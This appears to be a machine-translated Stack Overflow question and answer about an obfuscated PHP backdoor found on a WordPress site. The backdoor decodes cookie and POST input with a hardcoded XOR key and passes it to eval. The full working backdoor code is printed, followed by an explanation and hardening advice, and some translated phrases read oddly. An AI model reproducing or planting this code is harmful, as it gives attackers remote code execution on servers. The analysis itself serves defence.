这个(病毒?)代码有什么作用?

时间:2018-05-16 01:48:45

标签: php wordpress virus

我在WordPress网站上的public_html文件夹中找到了一些我没写过的代码。经过一番努力,我能够把它变成一种有点可读的状态,但它仍然超出了它的作用。任何有更好理解的人都可以告诉我这段代码应该做什么吗?

如果它有帮助,它也用这段代码覆盖了我的index.php文件,并且有一些奇怪的.ico文件的引用。

foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
    function fun1($key, $valueLength)
    {
        $keyGuid = $key . "49d339b2-3813-478a-bfa1-1d75be92cf49";
        $repeatTimes = ($valueLength / strlen($key)) + 1;

        return substr(str_repeat($keyGuid, $repeatTimes), 0, $valueLength);
    }

    function packToHex($inputToPack)
    {
        return @pack("H*", $inputToPack);
    }

    function fun3($exploded)
    {
        $modCount = count($exploded) % 3;
        if (!$modCount) {
            eval($exploded[1]($exploded[2]));
            exit();
        }
    }

    $value = packToHex($value);
    $bitwiseXor = $value ^ fun1($key, strlen($value));
    $exploded = explode("#", $bitwiseXor);
    fun3($exploded);
}

1 个答案:

答案 0 :(得分:1)

简答:这是后门,它允许在服务器端执行任意代码。

注意:您需要看到的只是eval并且从用户那里获取输入。

什么代码?无论他们想要什么。

答案很长:

您可以看到来自$_COOKIE$_POST的数据。该数据来自用户。我们可以推断这个代码是为一个appleius用户接收数据而设计的(可以直接发送,也可以通过机器人发送)。

这些数据的含量是多少?好吧,它将逐个完成所有输入,并尝试:

  • $value = packToHex($value);将其解释为十六进制字符串,并将其转换为二进制表示形式。如果它不是十六进制字符串,则默认失败。
  • $bitwiseXor = $value ^ fun1($key, strlen($value));在它上面应用一个便宜的密码。这是一个对称替换密码,它取决于$key和硬编码guid 49d339b2-3813-478a-bfa1-1d75be92cf49。我们可以假设注入此代码的人知道guid以及如何对其进行加密(这是完全相同的代码)。
  • $exploded = explode("#", $bitwiseXor);然后,我们将结果与字符"#"分开。
  • fun3($exploded);将其解释为代码(请参阅[eval][1])。
  • 如果所有成功(意味着来自用户的输入是触发此过程),那么它将退出,以便它的执行流程永远不会到达您的代码。

现在,有人在服务器上注入了这段代码 。他们是如何做到的呢?我不知道。

我的第一个猜测是你有一些漏洞允许他们上传PHP代码(也许你有一个文件上传功能,可以愉快地获取PHP文件并将它们放在用户可以使服务器运行它们的路径中) 。

当然,还有其他的可能性......他们可能有暴力强制登录到您的ftp或管理员登录,或者其他一些允许他们注入代码的东西。或者您可能正在运行一些易受攻击的软件(例如,过时或配置不当的WordPress或插件)。也许您下载并使用了某些库或插件,这些库或插件可以使用恶意软件(但也有案例)。或者你可能在任何地方使用与你的电子邮件相同的密钥,并且它从其他一些易受攻击的网站泄露......或者,这是由与你合作并拥有合法访问权限的人完成的,或完全是其他东西......

我所说的是......确定从您的服务器中删除该代码,但要知道您的服务器是通过其他方式易受攻击的,否则它首先不会受到攻击。我会假设这样做的人就在那里,并且可能最终会注意到你把它取下来并再次破坏你的服务器(附录:实际上,你的服务器中可能还有一些其他代码如果不存在则会再次将其重新放回)

所以请覆盖所有基地。更改密码(并使用强密码)。使用https。正确配置服务器。让您的软件保持最新。

如果您有自定义PHP代码:验证所有输入(包括文件上传)。清理您将发送给用户的任何内容。用准备好的句子。避免怀疑第三方代码,不要在没有理解的情况下进行复制和粘贴(我知道你可以做很多而不能真正了解它是如何工作的,但是当它失败的时候,你真的需要知识)。

附录:

  • 如果可以,请自动执行更新和备份。
  • 是的,有WordPress的安全插件,这些插件可以大大提高其安全性。但是,您始终可以将它们配置错误。